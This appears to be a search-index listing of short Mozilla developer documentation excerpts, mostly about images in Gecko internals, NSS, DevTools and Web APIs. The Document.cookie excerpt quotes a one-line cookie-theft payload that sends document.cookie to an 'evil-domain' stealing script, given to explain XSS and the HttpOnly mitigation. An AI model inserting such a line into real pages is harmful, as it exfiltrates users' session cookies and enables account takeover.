issues with the os x sdk if you need to use the xpidl utility to compile idl files on os x, it's likely that you will receive a strange error when running the tool that looks something along the lines of this: dyld: library not loaded: /opt/local/lib/libintl.3.dylib referenced from: /users/varmaa/xulrunner-sdk/bin/./xpidl reason: image not found trace/bpt trap unfortunately, this is caused by a problem with the sdk build process which cannot currently be resolved (see bugzilla bug #430274).
HTTP Cache
open_priority: except opening priority cache files also file dooming happens here to prevent races read_priority: top level documents and head blocking script cache files are open and read as the first open read: any normal priority content, such as images are open and read here write: writes are processed as last, we cache data in memory in the mean time management: level for the memory pool and cacheentry background operations close: file closing level index: index is being rebuild here evict: files overreaching the disk space consumption limit are being evicted here note: special case for eviction - when an eviction is scheduled on the i...
IME handling guide
therefore, editorbase requests to commit composition when the following cases occur: the editor loses focus the caret is moved by mouse or javascript value of the editor is changed by javascript node of the editor is removed from dom tree somethings object is modified in an html editor, e.g., resizing an image composition string is moved to a different position which is specified by native ime (e.g., only a part of composition is committed) in the future, we should fix this limitation.
Addon
screenshots read only addonscreenshot[] an array of addonscreenshot objects containing urls of preview images for the add-on.
Release phase
from the dropdown menu next to the review flag or the appropriate approval flags (see image).
MathML Screenshots
this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity.
BloatView
hild | 472 472| 1 1| 79 |condvar | 24 48| 3086 2| 279 |messagepump | 8 8| 30 1| 285 |mutex | 20 60| 89987 3| 302 |pcompositorchild | 412 412| 1 1| 308 |pimagebridgechild | 416 416| 1 1| the first line tells you the pid of the leaking process, along with the type of process.
TraceMalloc
s a type histogram that can be diffed with histogram-diff.sh to produce output that looks like this: ---- base ---- ---- incr ---- ----- difference ---- type count bytes count bytes count bytes %total total 48942 4754774 76136 6566453 27194 1811679 100.00 nstokenallocator 17 110007 60 388260 43 278253 15.36 nsimagegtk 476 2197708 341 2366564 -135 168856 9.32 nsmemcacherecord 843 45767 2328 124767 1485 79000 4.36 nstextnode 209 11704 1614 90384 1405 78680 4.34 htmlattributesimpl 482 14288 2824 88400 2342 74112 4.09 nsscanner 58 76824 94 146300 36 69476 3.83 nsscrip...
accessibility.tabfocus
4 give focus only to links and linked images.
Index
this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images.
NSS 3.46 release notes
tialized warning in tstclnt.c bug 1561587 - remove -wmaybe-uninitialized warning in lgattr.c bug 1561558 - remove -wmaybe-uninitialized warning in httpserv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star docker image to pull specific commit bug 1559012 - improve gcm perfomance using pmull2 bug 1528666 - correct resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaki...
NSS 3.52 release notes
bug 1626751 - fix error in generation of fuzz32 docker image after updates.
NSS tools : ssltab
this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images.
NSS tools : ssltap
this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images.
NSS Tools ssltap
this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images.
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images.
Multithreading in Necko
multithreaded image decoding).
Task graph
these tasks include build and test tasks, along with lots of other kinds of tasks to build docker images, build toolchains, perform analyses, check syntax, and so on.
Gecko object attributes
applied to: any container exposed in aria: aria-sort image related attributes src src attribute is placed on html image element.
ROLE_GRAPHIC
interfaces nsiaccessible nsiaccessnode nsiaccessibleimage nsiaccessiblehyperlink mapped to at-spi: atk: atk_role_image ua: nsaccessibilityimagerole msaa/ia2: role_system_graphic used by aria: img xul: <image/> html: <img> ...
The Places database
if the mime type of the image is image/png, the data blob must be reencoded from base16 (the format in which it is stored) to base64 in order to display correctly.
Creating XPCOM components
tifications implementing the nsicontentpolicy uniform resource locators checking the white list creating nsiuri objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying new user interface into mozilla weblockoverlay.xul other resources weblock.css image resources packaging weblock component installation overview archiving resources the weblock installation script the weblock trigger script distributing your component appendix a - setting up the gecko sdk downloading and setting the sdk building a microsoft visual cpp project creating a new project adding the gecko sdk to the project settings building a windows proje...
mozIRepresentativeColorCallback
analysis can fail if the image is transparent, imageuri doesn't resolve to a valid image, or the image is too big.
mozIThirdPartyUtil
for example, the uri "http://mail.google.com/" is not third party with respect to "http://images.google.com/", but "http://mail.yahoo.com/" and "http://192.168.1.1/" are.
nsIAccessibilityService
nsiaccessible createhtmlcheckboxaccessible(in nsisupports aframe); nsiaccessible createhtmlcomboboxaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlhraccessible(in nsisupports aframe); nsiaccessible createhtmlimageaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobjectframeaccessible(in nsobjectframe aframe); nsiaccessible createhtmlradiobuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlselectoptionaccessible(in ...
nsIAccessibleProvider
xul controls constants constant value description xulalert 0x00001001 xulbutton 0x00001002 xulcheckbox 0x00001003 xulcolorpicker 0x00001004 xulcolorpickertile 0x00001005 xulcombobox 0x00001006 xuldropmarker 0x00001007 xulgroupbox 0x00001008 xulimage 0x00001009 xullink 0x0000100a xullistbox 0x0000100b xullistcell 0x00001026 xullisthead 0x00001024 xullistheader 0x00001025 xullistitem 0x0000100c xulmenubar 0x0000100d xulmenuitem 0x0000100e xulmenupopup 0x0000100f xulmenuseparator 0x00001010 xulpane 0x00001011 xulprogressmeter 0x00001012 xulscale 0x00001013 xulstatusbar 0x00001014 xulra...
nsIAutoCompleteInput
showimagecolumn boolean if true, a column is added to the popup, showing an additional image for each autocomplete result.
nsIChannelPolicy
loadtype unsigned long indicates what type of content is being loaded, for example nsicontentpolicy::type_image.
nsIDOMWindowUtils
imageanimationmode unsigned short returns the image animation mode of the window.
nsIDOMXULLabeledControlElement
image domstring this property reflects the element's image attribute.
nsIDOMXULSelectControlItemElement
crop domstring disabled boolean image domstring label domstring selected boolean read only.
nsIDocumentLoader
uriloader/base/nsidocumentloader.idlscriptable this interface responsible for tracking groups of loads that belong together (images, external scripts, and so on.) and subdocuments (iframe, frame, and so on.).
nsIFile
example, this could return "/home/user/foo.txt" or "c:\images\my.jpeg" permissions unsigned long the value of this attribute is a unix-style file permission mask for this nsifile.
nsIFilePicker
filterimages 0x008 corresponds to the *.jpe, *.jpg, *.jpeg, *.gif, *.png, *.bmp, *.ico, *.svg, *.svgz, *.tif, *.tiff, *.ai, *.drw, *.pct, *.psp, *.xcf, *.psd and *.raw filters for file extensions.
nsINavBookmarkObserver
"title" the new title for the item "favicon" the "moz-anno" url for the new favicon image.
nsINavHistoryQueryOptions
hidden things include the content of iframes and all images on web pages.
nsINavHistoryService
this is true of all images on a page, and the contents of the iframe.
nsIPermissionManager
the nsipermissionmanager interface is used to persistently store permissions for different object types (cookies, images, and so on) on a site-by-site basis.
nsIScriptError
categories the web console does not display "xpconnect javascript" "component javascript" "chrome javascript" "chrome registration" "xbl" "xbl prototype handler" "xbl content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsITaskbarPreview
methods invalidate() invalidates the taskbar's cached image of the preview, forcing a redraw if necessary.
nsIWebBrowser
active means that it's visible enough that we want to avoid certain optimizations like discarding decoded image data and throttling the refresh driver.
nsIWebBrowserPersist
savedocument() save the specified dom document to file and optionally all linked files (for example images, css, js & subframes).
nsIWebContentHandlerRegistrar
in the image below "gmail" and "yahoo!
nsIWebNavigation
this includes animated images, plugins and pending javascript timeouts.
nsIWebNavigationInfo
image 1 returned by istypesupported() to indicate that a type is supported as an image.
nsIWebProgressListener
(see below for a description of document requests.) other types of requests, such as requests for inline content (for example images and stylesheets) are considered normal requests.
nsIWindowsShellService
amonkey 2.1) method overview string getregistryentry(in long ahkeyconstant, in string asubkeyname, in string avaluename); obsolete since gecko 1.8 void restorefilesettings(in boolean aforallusers); obsolete since gecko 1.9 void shortcutmaintenance(); attributes attribute type description desktopbackgroundcolor unsigned long the desktop background color, visible when no background image is used, or if the background image is centered and does not fill the entire screen.
nsIXMLHttpRequest
xhr.send(null); } xhr('https://www.gravatar.com/avatar/eb9895ade1bd6627e054429d1e18b576?s=24&d=identicon&r=pg&f=1', data => { services.prompt.alert(null, 'xhr success', data); var file = os.path.join(os.constants.path.desktopdir, "test.png"); var promised = os.file.writeatomic(file, new uint8array(data)); promised.then( function() { alert('succesfully saved image to desktop') }, function(ex) { alert('failed in saving image to desktop') } ); }); ...
nsPIPromptService
this is the class attribute value of the icon image.
The libmime module
| | | |--- mimeinlinetextplain | | | | | |--- mimeinlinetexthtml | | | | | |--- mimeinlinetextrichtext | | | | | | | |--- mimeinlinetextenriched | | | | | |--- mimeinlinetextvcard | | | | | |--- mimeinlinetextcalendar | | | |--- mimeinlineimage | | | |--- mimeexternalobject | |--- mimeexternalbody ...
Add Toolbar Button
application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Theme Packaging
preview.png is a preview image which will show when double-clicked on a theme in the appearance section of the add-ons manager.
customDBHeaders Preference
ew.getkeyat(row); var hdr = gdbview.db.getmsghdrforkey(key); var retval = hdr.getstringproperty("x-superfluous"); dump("x-superfluous: " + retval + "\n"); return retval; }, getsortstringforrow: function(hdr) { return hdr.getstringproperty("x-superfluous"); }, isstring: function() {return true;}, getcellproperties: function(row, col, props){}, getimagesrc: function(row, col) {return null;}, getsortlongforrow: function(hdr) {return 0;} } function addcustomcolumnhandler() { gdbview.addcolumnhandler("colsuperfluous",columnhandler); dump("column handler being added: " + columnhandler + "\n"); } var createdbobserver = { // components.interfaces.nsiobserver observe: function(amsgfolder, atopic, adata) { dump("here here...
Using popup notifications
you can use this to style the icon, like this: .popup-notification-icon[popupid="sample-popup"] { list-style-image: url("chrome://popupnotifications/skin/mozlogo.png"); } with this css in place, the result is the look we want: adding secondary options to provide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* ...
Using the Mozilla symbol server
the output of this command should be similar to: symchk: fullsoft.dll failed - image is split correctly, but fullsoft.dbg is missing symchk: qfaservices.dll failed - qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information.
Zombie compartments
for example, for an add-on that remembers passwords, visit a site that requires a password; for an add-on that performs an operation involving a specific page element such as an image or a chunk of text, perform that operation.
Examples
add image to iphoto an extension that adds a contextual menu item to images that lets you easily add them to iphoto on mac os x.
js-ctypes
examples add to iphoto a firefox extension that uses js-ctypes to call carbon and core foundation framework routines on mac os x to implement an "add image to iphoto" feature in firefox.
Introduction to DOM Inspector - Firefox Developer Tools
the rule that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme.
Browser Console - Firefox Developer Tools
the following image shows the browser console focused on the same page as above after clicking on the show content messages checkbox.
Deprecated tools - Firefox Developer Tools
you may see a warning message, as in the following image, when trying to activate a deprecated panel: in addition, if you open the panel for one of these tools, you will also see a warning message about its removal.
Network request details - Firefox Developer Tools
if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspectable object: if the response is an image, the tab displays a preview: for network responses that are initiated by a websocket connection, the details pane shows any associated messages.
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
in the html pane in the html pane, an element laid out with flexbox has the word flex next to it as shown in the following image: click the word flex in the html pane to keep the overlay visible when you move the mouse away from the container.
Examine and edit CSS - Firefox Developer Tools
for example, copying the changes in the preceding image, you get the following: .text-content p { box-sizing:border-box; max-width:24rem; text-decoration: underline; color: cadetblue; font-weight: bold; } add rules you can add new rules in the rules view.
How to - Firefox Developer Tools
xamine flexbox layoutscss grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web consoleview background imagesvisualize transformswork with animations ...
Page Inspector - Firefox Developer Tools
you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Frame rate - Firefox Developer Tools
frame rate and responsiveness frame rate is the rate at which a video device can produce images (or frames).
Settings - Firefox Developer Tools
screenshot behavior screenshot to clipboard when you click the icon for the screenshot tool, copy the screenshot image to the clipboard (the image will still be saved to your downloads directory).
Web Console Helpers - Firefox Developer Tools
if you don't supply a filename, the image file will be named with the following format: screen shot yyy-mm-dd at hh.mm.ss.png the command has the following optional parameters: command type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard.
The JavaScript input interpreter - Firefox Developer Tools
if you don't supply a filename, the image file will be named: screen shot yyy-mm-dd at hh.mm.ss.png the command has the following optional parameters: command type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard.
about:debugging - Firefox Developer Tools
in the image above, there are three tabs open: network or cache recipe, nightly home, and about nightly.
BaseAudioContext.createChannelMerger() - Web APIs
tter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
BaseAudioContext.createChannelSplitter() - Web APIs
tter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
BaseAudioContext.createStereoPanner() - Web APIs
it positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm.
Blob - Web APIs
WebAPIBlob
having converted the data into an object url, it can be used in a number of ways, including as the value of the <img> element's src attribute (assuming the data contains an image, of course).
CSS.paintWorklet (Static property) - Web APIs
WebAPICSSpaintWorklet
paintworklet is a static, read-only property of the css interface that provides access to the paintworklet, which programmatically generates an image where a css property expects a file.
CSS.registerProperty() - Web APIs
.registered { --my-color: #c0ffee; background-image: linear-gradient(to right, #fff, var(--my-color)); transition: --my-color 1s ease-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } bu...
CSSStyleValue - Web APIs
cssimagevalue csskeywordvalue cssnumericvalue csspositionvalue csstransformvalue cssunparsedvalue methods cssstylevalue.parse() sets a specific css property to the specified values and returns the first value as a cssstylevalue object.
CSS Typed Object Model API - Web APIs
subclasses include: cssimagevalue objects an interface representing values for properties that take an image, for example background-image, list-style-image, or border-image-source.
Cache.addAll() - Web APIs
WebAPICacheaddAll
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'cache: addall' in that specification.
Cache.delete() - Web APIs
WebAPICachedelete
examples caches.open('v1').then(function(cache) { cache.delete('/images/image.png').then(function(response) { someuiupdatefunction(); }); }) specifications specification status comment service workersthe definition of 'cache: delete' in that specification.
Cache.matchAll() - Web APIs
WebAPICachematchAll
examples caches.open('v1').then(function(cache) { cache.matchall('/images/').then(function(response) { response.foreach(function(element, index, array) { cache.delete(element); }); }); }) specifications specification status comment service workersthe definition of 'cache: matchall' in that specification.
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); specifications specification status comment service workersthe definition of 'cachestorage: open' in that specification.
CacheStorage - Web APIs
self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); self.addeventlistener('fetch', function(event) { event.respondwith(caches.match(event.request).then(function(response) { // caches.match() always resolves // but in case of succ...
CanvasPattern - Web APIs
the canvaspattern interface represents an opaque object describing a pattern, based on an image, a canvas, or a video, created by the canvasrenderingcontext2d.createpattern() method.
CanvasRenderingContext2D.clip() - Web APIs
in the image below, the red outline represents a clipping region shaped like a star.
CanvasRenderingContext2D.drawWindow() - Web APIs
drawwindow_async_decode_images 0x10 do not synchronously decode images - draw what we have.
CanvasRenderingContext2D.fillStyle - Web APIs
pattern a canvaspattern object (a repeating image).
CanvasRenderingContext2D.lineDashOffset - Web APIs
it helps the user to distinguish the selection border from the image background by animating the border.
CanvasRenderingContext2D.save() - Web APIs
the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled.
CanvasRenderingContext2D.strokeStyle - Web APIs
pattern a canvaspattern object (a repeating image).
A basic ray-caster - Web APIs
the canvas api supports pixel copying of images, so textures seem feasible.
Compositing and clipping - Web APIs
this is visualized in the image on the right.
Finale - Web APIs
WebAPICanvas APITutorialFinale
svg scalable vector graphics let you describe images as sets of vectors (lines) and shapes in order to allow them to scale smoothly regardless of the size at which they're drawn.
Transformations - Web APIs
the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled.
Canvas API - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 150, 100); result reference htmlcanvaselement canvasrenderingcontext2d canvasgradient canvasimagesource canvaspattern imagebitmap imagedata renderingcontext textmetrics offscreencanvas path2d imagebitmaprenderingcontext note: the interfaces related to the webglrenderingcontext are referenced under webgl.
ChannelMergerNode - Web APIs
tter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
ChannelSplitterNode - Web APIs
tter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
Clipboard - Web APIs
WebAPIClipboard
read() requests arbitrary data (such as images) from the clipboard, returning a promise.
ContentIndex - Web APIs
// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e...
Content Index API - Web APIs
// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e...
DataTransfer - Web APIs
datatransfer.setdragimage() set the image to be used for dragging if a custom one is desired.
DataTransferItem.getAsFile() - Web APIs
drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem.getAsString() - Web APIs
drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem.kind - Web APIs
drop: html"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem.type - Web APIs
drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
Document: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
Document.adoptNode() - Web APIs
example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.cookie - Web APIs
WebAPIDocumentcookie
common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
Document.mozSyntheticDocument - Web APIs
the document.mozsyntheticdocument property indicates whether or not the document is a synthetic one; that is, a document representing a standalone image, video, audio, or the like.
EXT_float_blend - Web APIs
examples const gl = canvas.getcontext('webgl2'); // enable necessary extensions gl.getextension('ext_color_buffer_float'); gl.getextension('ext_float_blend'); const tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); // use floating point format gl.teximage2d(gl.texture_2d, 0, gl.rgba32f, 1, 1, 0, gl.rgba, gl.float, null); const fb = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, fb); gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, tex, 0); // enable blending gl.enable(gl.blend); gl.drawarrays(gl.points, 0, 1); // won't throw gl.invalid_operation with the extension enabled specifications specif...
Element - Web APIs
WebAPIElement
for example, if a script has an execution error or an image can't be found or is invalid.
FetchEvent.respondWith() - Web APIs
for example, if an <img> initiates the request, the response body needs to be image data.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
example // fileinput is an htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.binary.indexof(file.type) > -1) { // file is a binary, which we accept var data = file.getasbinary(); } else if (accept.text.indexof(file.type...
File.getAsDataURL() - Web APIs
WebAPIFilegetAsDataURL
syntax var url = instanceoffile.getasdataurl(); returns a string representing a data: url example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // array with acceptable file types var accept = ["image/png"]; // img is a htmlimgelement: <img id="myimg"> var img = document.getelementbyid("myimg"); // if we accept the first selected file type if (accept.indexof(files[0].mediatype) > -1) { // display the image // same as <img src="data:image/png,<imagedata>"> img.src = files[0].getasdataurl(); } specification not part of any specification.
File.getAsText() - Web APIs
WebAPIFilegetAsText
example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("...
File - Web APIs
WebAPIFile
in particular, filereader, url.createobjecturl(), createimagebitmap(), and xmlhttprequest.send() accept both blobs and files.
FileReader: abort event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding:...
FileReader: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding:...
FileReader: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding:...
FileReader: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding:...
FileReader: progress event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding:...
FileSystemEntrySync - Web APIs
for example, if you wanted to display an image and have its fileentry, calling tourl() gives you the image file's file system url.
Introduction to the File and Directory Entries API - Web APIs
a blob can be an image or an audio file.
GlobalEventHandlers.onload - Web APIs
at this point, all of the objects in the document are in the dom, and all the images, scripts, links and sub-frames have finished loading.
GlobalEventHandlers.onloadend - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onloadstart - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html...
GlobalEventHandlers.onmousedown - Web APIs
example this example reveals part of an image when you press and hold a mouse button.
GlobalEventHandlers.onmouseout - Web APIs
for example, when the mouse moves off of an image in the web page, the mouseout event is raised for that image element.
HTMLBodyElement - Web APIs
htmlbodyelement.background is a domstring that represents the description of the location of the background image resource.
HTMLCanvasElement.mozOpaque - Web APIs
for example, you could conditionally set it to true if mimetype == 'image/jpeg', or similar, to gain performance in your application when translucency is not needed.
HTMLCollection.item - Web APIs
